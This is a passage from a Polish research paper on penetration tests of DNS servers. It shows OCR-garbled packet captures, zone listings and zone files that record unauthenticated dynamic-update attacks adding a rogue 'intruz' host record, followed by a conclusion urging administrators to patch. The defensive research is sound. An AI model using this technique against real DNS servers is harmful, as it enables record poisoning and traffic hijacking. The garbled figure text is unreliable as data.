3 10.2.2.33 10.3.3.3 TCR 4401 > domain [ACK] Seg=1 Ack=1 Win=5B840 Len=0 T&W=
T DU P AT ) 8 Ay O uyrlafﬂlc_ e SOR TohoLEa. T T e m
nl - o S O =1 o oo Lol L b= 2kt 0 o 0 i | o
3 10.3.3.3 EBroadcast  ARP who has 10.3.3.47 Tell 10.3.3.3
7 10.3.3.3 Broadcast  ARP who has 10.3.3.67 Tell 10.3.3.3
0 % S B B | [ 5.8 SN S e s Lmb uynEM‘lC L.IFIDE['EE e FIOH eLunrea

et} et T = = o L Bt ey o ety e
10 10.2.2.33 103733 TCP 4401 » domain [FIN, ACK] Seq=62 Ack=62 Win=5840 Ler
11 oA 10.2.2.33 TCP domain > 4401 [ACK] Seq=62 Ack=63 Win=17459 Len=0 T
12 10.2.2.33 10.3.3.3 TCR 4402 » demain [5¥N] Seg=0 Ack=0 Win=5B40 Len=0 MS5=
13 10.3.3.3 10.2.2.33 TCP domain > 4402 [5¥N, ACK] Seq=0 Ack=1 Win=16384 Len=
14 10.3.3.3 10.2.2.33 TCP domain » 4401 [FIN, ACK] Seq=62 Ack=63 Win=17459 Le
15 10.2.2.33 A3 TCP 4407 > domain [ACK] Seg=1 Ack=1 Win=5840 Len=0 T5V=

Uynamic update St

E I TSt
.3 TCR 4401 > domain [ACK] Seg=63 Ack 63 Win=5240 Lan=0 T&

157 1020233 10.3.3

13 10.3.3.3 10.2.2.33 DNS Dyhamic update response

15 A0 2 2 32 o I T Ioo 403 desnadn FAFVT Sas= B ackofE Wan—Cedl | ae— () TC
20 10.2.2.33 AR S R TCP 4407 > domain [FIN, ACK] Seq=b6 Ack=66 Win=5840 Ler
5 105 3. 9.3 10.2.2.33 TCP domain > 4402 [ACK] Seqg=66 Ack=67 Win=17455 Len=0 T
22 10.3.3.3 10.2.2.33 TCR domain = 4402 [FIN ACK] Seq 66 Ack 67 Win=17455 Le

Length: &3
Transaction ID: 0x0000
Flags: 0x2800 (Dynamic update)
Ouestions: 1
Answer RRs: 0
Authority RRs: 1
Additicnal RRs: 0
[» Zone
Undate
p dintruz.robocza.tst: type A, class dnet, addr 10.33.33.33

=~

Rys. 45. Obraz ruchu sieciowego podczas ataku dynamicznej aktualizacji serwera

rdns.robocza.tst
Mo, -] 11 Source 1Dastmatmn JPrnmcnI IInFn

1 10.2.2.33 Eroadcast ARP who has 10.4.4.47 Tell 10.2.2.33

2 10.4.4.4 1025233 ARP 0.4.4.4 is at 00:0c:25:6a:8e:fc

3 A0.2.2.33 10.4.4.4 TCP 2447 > domain [SYN] Seq=0 Ack=0 Win=5840 Len=0 M55=1460 TSv=992531
4 10.4.4.4 10,2233 TCP domain » 2447 [SvM, ACK] Seq=0 Ack=1 Win=16384 Len=0 MS5=1460 Ws=0
5. H0.2:2.33 10.4.4.4 TCP 2447 > domain [ACK] Seg=1l Ack=1 Win=5840 Len=0 T5v=552936 TSER=0

5 10.2.2.33 10.4.9.4 5] Dynmml!—q?m—bm STIUnreassembled Packet]

7oo10.4.4.4 10.2.2.33 DNS Dyhamic updata r‘esponse I
9 d0.2.2.33 10.4.4.4 TCR 2447 > domain FIN ACK] Seq=54 Ack=15 Win=5340 Len=0 TSv=992938 T
10 10.4.4.4 102 23T TCR domain » 2447 ACK] Seq=15 Ack=55 win=17467 Len=0 TS¥=19960 TSER=9!
11 10.4.4.4 0202033 TCR domain » 2447 [FIN, ACK] Seqg=15 Ack=55 Win=17467 Len=0 TSv=19960 Tt
1l 01 s | 10.4.4.4 TCR 2447 > domain [ACK] Seq=55 Ack=16 Win=5B840 Len=0 TSv=992939 TSER=1¢
Ty A0:2:02,.37 10.4.4.4 TCR 2443 > domain [SvN] Seg=0 Ack=0 Win=5840 Len=0 M55=1460 TSv=992940
14 10.4.4.4 102733 TCR domain » 2448 [SvN, ACK] Seq=0 Ack=1 Win=16384 Len=0 M55=1460 ws=0
15 . 10.2.2.33 10.4.4.4 TCFP 2448 > domain [ACK] Seq=1 Ack=1 Win=5840 Len=0 T5v=992940 TSER=0
17 10.4.4.4 10.2.2.33 DNS Dynam'lc update response
= 10 i P N 10 dema - 1] ot L_1C w1~ _CoAr | o= T —002 04 i = Y
19- 1020233 10.4.4.4 TCR 2443 > domain [FIN, ACK] Seq=58 Ack=15 Win=5840 Len=0 T5v=992947 Tt
20 10.4.4.4 Hild] i e ) TCR domain » 2448 [ACK] Seg=15 Ack=59 Win=17463 Len=0 TSV¥=19960 TSER=9¢
21 10.4.4.4 10,202 33 TCR domain > 2448 [FIN, ACK] Seq=15 Ack=59 Win=17463 Len=0 TSv=19960 Tt
27 0,207, 33 10.4.4.4 TCR 2443 > domain [ACK] Seq=59 Ack=16 Win=5B840 Len=0 TS¥=992943 TSER=1¢

= Domaln Mame System (gquery)

Length: 55

Transaction ID: Ox0O000
I Flags: 0x2800 (Dynamic update)

Questions: 1

Answer RRs: O

Authority RRs: 1

Additional RRs: O
[ Zone

Ledot

[ ointruz.lin.tst: type 4, class inet, addr 10.44.44.44

Rys. 46. Obraz ruchu sieciowego podczas ataku dynamicznej aktualizacji serwera bind
(linbind.lin.tst)
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ersz polecenia - nslookup B 1 -0l x|
> server 10.3.3.3 d
efault Server: wrdns.rohocza.tst

Address: 18.3.3.3

> 1ls —d robocza.tst
[rdns.robocza.tst]
rohocza.ts

t. s50A rdns.rohocza.tst administratur.dns3.robuc_J
za.tst. (56 36000 6P 86400 3680>

rohocza.tst. NS rdns.rohocza.tst
rohocza.tst. NS wvhind.robocza.tst
rukucza.tst. NS lbind.rohocza.tst
wohorza tet

intruz 1] 1@.33.33.33

kIient A T0.3.7-1

1hind A 18.3.3.4

localhost 1] 127.8.8.1

mzdns 1] 18.3.3.6

nowy A 18.3.100.182

poczta 1] 18.3.9.1

poczta MX 18 poczta.robocza.tst
rdns 1] 1@.3.3.3

whind A 18.3.3.5

rohocza.tst. 50A rdnz.rohocza.tst administrator.dns3.roboc

za.tst. (56 36880 6PB B646@ 3608)

> . 3

Rys. 47. Wyniki pobrania informacji o strefie utrzymywanej przez serwer rdns.robocza.tst
za pomoc3 programu nslookup — po ataku

¢\ |Wiersz polecenia - nslookup 2 |E||5|

| i
:\Documents and Settings“Administrator?nslookup
efault Server: glowny.tst

Addrez=z: 18.1.1.1

> server 10.4.4.4
Default Server: [18.4.4.4]
Address: 18.4.4.4

> 1g —d lin.tst
[[18.4.4.41]

lin.tst. 50 linbind.lin.tst administrator.linbind.lin
.tst. (55 36000 60P 86408 3608

lin _t=t i i i
intruz 1] 1@.44.44.44 I

Tinbind ] T .99

pusty A 18.4.4.1

lin.tst. 50A linbind.lin.tst administrator.linbind.lin
.tst. (55 16000 600 86408 3688>
P -

Rys. 48. Wyniki informacji o strefie utrzymywanej przez serwer bind (linbind.lin.tst) za
pomoca programu nslookup — po ataku
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; Database file robocza.tst.dns for robocza.tst zone.
; Zone version: 56
@ IN SOA rdns.robocza.tst.
administrator.dns3.robocza.tst. (
56 ; serial number
36000 ; refresh
600 ; retry
86400 ; expire
3600 ) ; default TTL
;  Zone NS records
Q NS rdns.robocza.tst.
Q NS wbind.robocza.tst.
@ NS lbind.robocza.tst.
@ NS msdns.robocza.tst.
- Zone reocord
intruz 300 A 10.33.33.33 |
klient 1200 A 10.3.9.1
1bind A 10.3.3.4
localhost A 127.0.0.1
msdns 1200 A 10.3.3.6
nowy A 10.3.100.102
poczta A 10.3.9.1
MX 10 poczta.robocza.tst.
rdns A 10.3.3.3
wbind 1200 A 10.3.3.5

Rys. 49. Zawartos¢ pliku robocza.tst.dns zawierajacego informacje o strefie utrzymywanej
przez serwer rdns.robocza.tst po ataku

SORIGIN

STTL 3600 ; 1 hour

lin.tst IN SOA linbind.lin.tst.

administrator.linbind.lin.tst. (
55 ; serial
36000 ; refresh (10 hours)
600 ; retry (10 minutes)
86400 ; expire (1 day)
3600 ; minimum (1 hour)
)

NS linbind.lin.tst.
DT TN ] 2 o

STTL 300 ; 5 minutes

intruz A 10.44.44.44

STTL 1200 ; 20 minutes

linbind A 10.4.4.4

pusty A 10.4.4.1

Rys. 50. Zawartos¢ pliku lin.tst.dns zawierajacego informacje o strefie utrzymywanej przez
serwer bind (linbind.lin.tst) po ataku
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_;a_ dnsmgmit - [DNS RDNS" Strefy wyszukiwania do przodu'robocza.tst] 5 = 15 ] 2 |
2 pik  fkcja Widk Okno' Pomoc | _1=1
e» OEXFRRB R|IEE
-8 DNS roboczactst  rekordy: 15
=y H BDNS c g o | MNazwa £ I Tvp I Dane |
E_i 'l::’ Wyszuklwanla.wpréwadzone do pamigci identyczny jak Folder nadrze...  Adres startowy uwierzytel,.,  [S6], rdns.robocza.tst., ad...
rj 8 EErefy wyszuklanla do przadu El (identyczny jak Folder nadrze...  Serwer nazw (NS) |hind.robocza, ks,
£ A3 i Sl et P :
e =| (identyczny jak folder nadrze...  Serwer nazw (N3] msdns.robocza.kst,
-1 Strefy wyszukiwania wstecznego m( ol 4 (Ns)

e {ﬁl Fodalad zdarzet = | (identyczny jak Folder nadrze...  Serwer nazw (NS) rdns.robocza, kst
il " r -

= intruz Host (&) 10.33.33.33

\=[ Klient Host {Aa) 10.3.9.1

[£] Ibind Host () 10.3.3.4

[E] lacahost Host () 127.0.0.1

[E] msdns Host () 10.3.3.6

[E] nawy Host () 10.3.100.102

[E] paczta Host (&) 10.3.9.1

gl poczta Ustuga wymiany poczky (Mx)  [10] poczta.robocza.tst,
[E]rdns Host () 10.3.3.3

[£] whind Host () 10.3.3.5

Rys. 51. Obraz konsoli stuzacej do zarzadzania serwerem rdns.robocza.tst po ataku

7. Podsumowanie

W artykule zostaty przedstawione wyniki eksperymentow, ktorych celem
bylo sprawdzenie podatnosci wybranych serwerow DNS na ataki. Mozna si¢
zorientowac, ze przeprowadzenie wielu atakow jest bardzo proste i mozliwe do
wykonania nawet przez niezbyt zaawansowanego napastnika. Prezentacje
zamieszczone w niniejszym artykule by¢ moze spowoduja wzrost $wiadomosci
wsérod administratorow systemow i przyczynia si¢ do wzrostu bezpieczenstwa
systemow, ktorymi si¢ opiekuja.

Dla czg$ci opisanych luk wystepujacych w najbardziej popularnych
implementacjach serweréw DNS opracowano juz taty programowe. Nalezy
jednak zdawac sobie sprawe, ze opracowanie taty nie rozwigzuje problemu. Jest
dopiero pierwszym krokiem na drodze do zbudowania bezpiecznego serwera.
Taka tatg nalezy jeszcze zainstalowac. Wydaje si¢ to truizmem. Niestety nalezy
o tym przypomina¢, gdyz wigkszo$¢ uzytkownikow nie realizuje Zadnych
zabiegdbw pielegnacyjnych w stosunku do uzywanego przez siebie
oprogramowania.
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The researches of DNS susceptibility to selected threats

ABSTRACT: The paper presents results of penetrative tests. The goal of the tests was a
verification of DNS servers susceptibility to chosen threats.
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